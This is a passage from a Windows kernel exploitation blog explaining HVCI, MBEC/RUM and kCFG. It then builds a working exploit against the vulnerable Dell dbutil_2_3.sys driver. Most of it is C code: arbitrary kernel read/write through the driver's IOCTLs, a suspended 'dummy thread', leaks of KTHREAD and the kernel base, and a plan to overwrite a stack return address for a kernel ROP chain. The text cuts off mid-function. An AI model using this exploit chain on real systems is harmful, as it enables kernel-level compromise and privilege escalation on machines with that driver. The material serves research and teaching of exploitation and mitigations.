MBEC is really great - but what about computers which support HVCI but don’t support MBEC (which is a hardware technology)? For these cases Microsoft implemented RUM (Restricted User Mode). RUM achieves the same thing as MBEC, but in a different way. RUM essentially forces the hypervisor to keep a second set of EPTEs - with this “new” set having all user-mode pages marked as non-executable. So, essentially using the same method as loading a new PML4 address into CR3 for “normal” paging - the hypervisor can load the “second” set of extended page tables (with this “new/second” set marking all user-mode as non-executable) into use. This means each time execution transitions from kernel-mode to user-mode, the paging structures are swapped out - which increases the overhead of the system. This is why MBEC is less strenuous - as it can just mark a bit in the EPTEs. However, when MBEC is not supported - the EPTEs don’t have this ExecuteForUserMode bit - and rely on the second set of EPTEs.

At this point we have spent a lot of time talking about HVCI, MBEC, and RUM. We can come to the following conclusions now:

  1. PTE manipulation to achieve unsigned-code execution is impossible
  2. Any unsigned-code execution in the kernel is impossible

Knowing this, a different approach is needed. Let’s talk about now how we can use an arbitrary read/write primitive to our advantage to get around HVCI, MBEC/RUM, without being limited to only hot-swapping tokens for privilege escalation.

From Read/Write To Arbitrary Kernel-Mode Function Invocation

I did a writeup of a recent Dell BIOS driver vulnerability awhile ago, where I achieved unsigned-code execution in the kernel via PTE manipulation. Afterwards I tweeted out that readers should take into account that this exploit doesn’t consider VBS/HVCI. I eventually received a response from @d_olex on using a different method to take advantage of a kernel-mode vulnerability, with HVCI enabled, by essentially putting together your own kernel-mode API calls.

This was about a year ago - and I have been “chewing” on this idea for awhile. Dmytro later released a library outlining this concept.

This technique is the basis for how we will “get around” VBS/HVCI in this blog. We can essentially instrument a kernel-mode ROP chain that will allow us to call into any kernel-mode API we wish (while redirecting execution in a way that doesn’t trigger Kernel Control Flow Guard, or kCFG).

Why might we want to do this - in-lieu of the inability to execute shellcode, as a result of HVCI? The beauty of executing unsigned-code is the fact that we aren’t just limited to something like token stealing. Shellcode also provides us a way to execute arbitrary Windows API functions, or further corrupt memory. Think about something like a Cobalt Strike Beacon agent - it leverages Windows API functions for network communications, etc. - and is foundational to most malware.

Although with HVCI we can’t invoke our own shellcode in the kernel - it is still possible to “emulate” what kernel-mode shellcode may intend to do, which is calling arbitrary functions in kernel mode. Here is how we can achieve this:

  1. In our exploit, we can create a “dummy” thread in a suspended state via CreateThread.
  2. Assuming our exploit is running from a “normal” process (running in medium integrity), we can use NtQuerySystemInformation to leak the KTHREAD object associated with the suspended thread. From here we can leak KTHREAD.StackBase - which would give us the address of the kernel-mode stack in order to write to it (each thread has its own stack, and stack control is a must for a ROP chain)
  3. We can locate a return address on the stack and corrupt it with our first ROP gadget, using our kernel arbitrary write vulnerability (this gets around kCFG, or Control Flow Guard in the kernel, since kCFG doesn’t inspect backwards edge control-flow transfers like ret. However, in the future when kCET (Control-Flow Enforcement Technology in the Windows kernel) is mainstream on Windows systems, ROP will not work - and this exploit technique will be obsolete).
  4. We then can use our ROP chain in order to call an arbitrary kernel-mode API. After we have called our intended kernel mode API(s), we then end our ROP chain with a call to the kernel-mode function nt!ZwTerminateThread - which allows us to “gracefully” exit our “dummy” thread without needing to use ROP to restore the execution we hijacked.
  5. We then call ResumeThread on the suspended thread in order to kick off execution.

Again - I just want to note. This is not an “HVCI bypass” post. HVCI doesn’t not suffer from any vulnerability that this blog post intends to exploit. Instead, this blog shows an alternative method of exploitation that allows us to call any kernel-mode API without triggering HVCI.

Before continuing on - let’s just briefly touch on why we are opting to overwrite a return address on the stack instead of a function pointer - as many of my blogs have done this in the past. As we saw with my previous browser exploitation blog series, CFG is a mitigation that is pretty mainstream on Windows systems. This is true since Windows 10 RS2 - when it came to the kernel. kCFG is present on most systems today - and it is an interesting topic. The CFG bitmap consists of all “valid” functions used in control-flow transfers. The CFG dispatch functions check this bitmap when an indirect-function call happens to ensure that a function pointer is not overwritten with a malicious function. The CFG bitmap (in user mode) is protected by DEP - meaning the bitmap is read-only, so an attacker cannot modify it (the bitmap is stored in ntdll!LdrSystemDllInitBlock+0x8). We can use our kernel debugger to switch our current process to a user-mode process which loads ntdll.dll to verify this via the PTE.

This means an attacker would have to first bypass CFG (in context of a binary exploit which hijacks control-flow) in order to call an API like VirtualProtect to mark this page as writable. Since the permissions are enforced by DEP - the kernel is the security boundary which protects the CFG bitmap, as the PTE (stored in kernel mode) describes the bitmap as read-only. However, when talking about kCFG (in the kernel) there would be nothing that protects the bitmap - since historically the kernel was the highest security boundary. If an adversary has an arbitrary kernel read/write primitive - an adversary could just modify the kCFG bitmap to make everything a valid call target, since the bitmap is stored in kernel mode. This isn’t good, and means we need an “immutable” boundary to protect this bitmap. Recall, however, that with HVCI there is a higher security boundary - the hypervisor!

kCFG is only fully enabled when HVCI is enabled. SLAT is used to protect the kCFG bitmap. As we can see below, when we attempt to overwrite the bitmap, we get an access violation. This is due to the fact that although the PTE for the kCFG bitmap says it is writable, the EPTE can enforce that this page is not writable - and therefore, with kCFG, non-modifiable by an adversary.

So, since we cannot just modify the bitmap to allow us to call anywhere in the address space, and since kCFG will protect function pointers (like nt!HalDispatchTable + 0x8) and not return addresses (as we saw in the browser exploitation series) - we can simply overwrite a return address to hijack control flow. As mentioned previously, kCET will mitigate this - but looking at my current Windows 11 VM (which has a CPU that can support kCET), kCET is not enabled. This can be checked via nt!KeIsKernelCetEnabled and nt!KeIsKernelCetAuditModeEnabled (both return a boolean - which is false currently).

Now that we have talked about control-flow hijacking, let’s see how this looks practically! For this blog post we will be using the previous Dell BIOS driver exploit I talked about to demonstrate this. To understand how the arbitrary read/write primitive works, I highly recommend you read that blog first. To summarize briefly, there are IOCTLs within the driver that allow us to read one kernel-mode QWORD at a time and to write one QWORD at a time, from user mode, into kernel mode.

“Dummy Thread” Creation to KTHREAD Leak

First, our exploit begins by defining some IOCTL codes and some NTSTATUS codes.

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000

Let’s also outline our - read64() and write64(). These functions give us an arbitrary read/write primitive (I won’t expand on these. See the blog post related to the vulnerability for more information.

read64():

ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

write64():

BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

Now that we have our primitives established, we start off by obtaining a handle to the driver in order to communicate with it. We will need to supply this value for our read/write primitives.

HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

We can invoke this function in main().

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After obtaining the handle, we then can setup our “dummy thread” by creating a thread in a suspended state. This is the thread we will perform our exploit work in. This can be achieved via CreateThread (again, the key here is to create this thread in a suspended state. More on this later).

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

You’ll see that our createdummyThread function returns a handle to the “dummy thread”. Notice that the LPTHREAD_START_ROUTINE for the thread goes to randomFunction, which we also can define. This thread will never actually execute this function via its entry point, so we will just supply a simple function which does “nothing”.

We then can call createdummyThread within main() to execute the call. This will create our “dummy thread”.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Now we have a thread that is running in a suspended state and a handle to the driver.

Since we have a suspended thread running now, the goal currently is to leak the KTHREAD object associated with this thread, which is the kernel-mode representation of the thread. We can achieve this by invoking NtQuerySystemInformation. The first thing we need to do is add the structures required by NtQuerySystemInformation and then prototype this function, as we will need to resolve it via GetProcAddress. For this I just add a header file named ntdll.h - which will contain this prototype (and more structures coming up shortly).

#include <Windows.h>
#include <Psapi.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

Invoking NtQuerySystemInformation is a mechanism that allows us to leak the KTHREAD object - so we will not go over each of these structures in-depth. However, it is worthwhile to talk about NtQuerySystemInformation itself.

NtQuerySystemInformation is a function which can be invoked from a medium-integrity process. More specifically there are specific “classes” from the SYSTEM_INFORMATION_CLASS enum that aren’t available to low-integrity or AppContainer processes - such as browser sandboxes. So, in this case, you would need a genuine information leak. However, since we are assuming medium integrity (this is the default integrity level Windows processes use), we will leverage NtQuerySystemInformation.

We first create a function which resolves NtQuerySystemInformation.

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

After resolving the function, we can add a function which contains our “logic” for leaking the KTHREAD object associated with our “dummy thread”. This function will call leakKTHREAD - which accepts a parameter, which is the thread for which we want to leak the object (in this case it is our “dummy thread”). This is done by leveraging the SystemHandleInformation class (which is blocked from low-integrity processes). From here we can enumerate all handles that are thread objects on the system. Specifically, we check all thread objects in our current process for the handle of our “dummy thread”.

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

Here is how our main() function looks now:

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

You’ll notice in the above code we have added a getchar() call - which will keep our .exe running after the KTHREAD object is leaked. After running the .exe, we can see we leaked the KTHREAD object of our “dummy thread” at 0xffffa50f0fdb8080. Using WinDbg we can parse this address as a KTHREAD object.

We have now successfully located the KTHREAD object associated with our “dummy” thread.

From KTHREAD Leak To Arbitrary Kernel-Mode API Calls

With our KTHREAD leak, we can also use the !thread WinDbg extension to reveal the call stack for this thread.

You’ll notice the function nt!KiApcInterrupt is a part of this kernel-mode call stack for our “dummy thread”. What is this?

Recall that our “dummy thread” is in a suspended state. When a thread is created on Windows, it first starts out running in kernel-mode. nt!KiStartUserThread is responsible for this (and we can see this in our call stack). This eventually results in nt!PspUserThreadStartup being called - which is the initial thread routine, according to Windows Internals Part 1: 7th Edition. Here is where things get interesting.

After the thread is created, the thread is then put in its “suspended state”. A suspended thread, on Windows, is essentially a thread which has an APC queued to it - with the APC “telling the thread” to “do nothing”. An APC is a way to “tack on” some work to a given thread, when the thread is scheduled to execute. What is interesting is that queuing an APC causes an interrupt to be issued. An interrupt is essentially a signal that tells a processor something requires immediate attention. Each processor has a given interrupt request level, or IRQL, in which it is running. APCs get processed in an IRQL level known as APC_LEVEL, or 1. IRQL values span from 0 - 31 - but usually the most “common” ones are PASSIVE_LEVEL (0), APC_LEVEL (1), or DISPATCH_LEVEL (2). Normal user-mode and kernel-mode code run at PASSIVE_LEVEL. What is interesting is that when the IRQL of a processor is at 1, for instance (APC_LEVEL), only interrupts that can be processed at a higher IRQL can interrupt the processor. So, if the processor is running at an IRQL of APC_LEVEL, kernel-mode/user-mode code wouldn’t run until the processor is brought back down to PASSIVE_LEVEL.

The function that is called directly before nt!KiApcInterrupt in our call stack is, as mentioned, nt!PspUserThreadStartup - which is the “initial thread routine”. If we examine this return address nt!PspUserThreadStartup + 0x48, we can see the following.

The return address contains the instruction mov rsi, gs:188h. This essentially will load gs:188h (the GS segment register, when in kernel-mode, points to the KPCR structure, which, at an offset of 0x180 points to the KPRCB structure. This structure contains a pointer to the current thread at an offset of 0x8 - so 0x180 + 0x8 = 0x188. This means that gs:188h points to the current thread).

When a function is called, a return address is placed onto the stack. What a return address actually is, is the address of the next instruction. You can recall in our IDA screenshot that since mov rsi, gs:188h is the instruction of the return address, this instruction must have been the “next” instruction to be executed when it was pushed onto the stack. What this means is that whatever the instruction before mov rsi, gs:188h was caused the “function call” - or change in control-flow - to ntKiApcInterrupt. This means the instruction before, mov cr8, r15 was responsible for this. Why is this important?

Control registers are a per-processor register. The CR8 control register manages the current IRQL value for a given processor. So, what this means is that whatever is in R15 at the time of this instruction contains the IRQL that the current processor is executing at. How can we know what level this is? All we have to do is look at our call stack again!

The function that was called after nt!PspUserThreadStartup was nt!KiApcInterrupt. As the name insinuates, the function is responsible for an APC interrupt! We know APC interrupts are processed at IRQL APC_LEVEL - or 1. However, we also know that only interrupts which are processed at a higher IRQL than the current processors’ IRQL level can cause the processor to be interrupted.

Since we can obviously see that an APC interrupt was dispatched, we can confirm that the processor must have been executing at IRQL 0, or PASSIVE_LEVEL - which allowed the APC interrupt to occur. This again, comes back to the fact that queuing an APC causes an interrupt. Since APCs are processed at IRQL APC_LEVEL (1), the processor must be executing at PASSIVE_LEVEL (0) in order for an interrupt for an APC to be issued.

If we look at return address - we can see nt!KiApcInterrupt+0x328 (TrapFrame @ ffffa385bba350a0) contains a trap frame - which is basically a representation of the state of execution when an interrupt takes place. If we examine this trap frame - we can see that RIP was executing the instruction after the mov cr8, r15 instruction - which changes the processor where the APC interrupt was dispatched - meaning that when nt!PspUserThreadStartup executed - it allowed the processor to start allowing things like APCs to interrupt execution!

We can come to the conclusion that nt!KiApcInterrupt was executed as a result of the mov cr8, r15 instruction from nt!PspUserThreadStartup - which lowered the current processors’ IRQL level to PASSIVE_LEVEL (0). Since APCs are processed in APC_LEVEL (1), this allowed the interrupt to occur - because the processor was executing at a lower IRQL before the interrupt was issued.

The point of examining this is to understand the fact that an interrupt basically occurred, as a result of the APC being queued on our “dummy” thread. This APC is telling the thread basically to “do nothing” - which is essentially what a suspended thread is. Here is where this comes into play for us.

When this thread is resumed, the thread will return from the nt!KiApcInterrupt function. So, what we can do is we can overwrite the return address on the stack for nt!KiApcInterrtupt with the address of a ROP gadget (the return address on this system used for this blog post is nt!KiApcInterrupt + 0x328 - but that could be subject to change). Then, when we resume the thread eventually (which can be done from user mode) - nt!KiApcInterrupt will return and it will use our ROP gadget as the return address. This will allow us to construct a ROP chain which will allow us to call arbitrary kernel-mode APIs! The key, first, is to use our leaked KTHREAD object and parse the StackBase member - using our arbitrary read primitive - to locate the stack (where this return address lives). To do this, we will being the prototype for our final “exploit” function titled constructROPChain().

Notice the last parameter our function receives - ULONG64 ntBase. Since we are going to be using ROP gadgets from ntoskrnl.exe, we need to locate the base address of ntoskrnl.exe in order to resolve our needed ROP gadgets. So, this means that we also need a function which resolves the base of ntoskrnl.exe using EnumDeviceDrivers. Here is how we instrument this functionality.

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
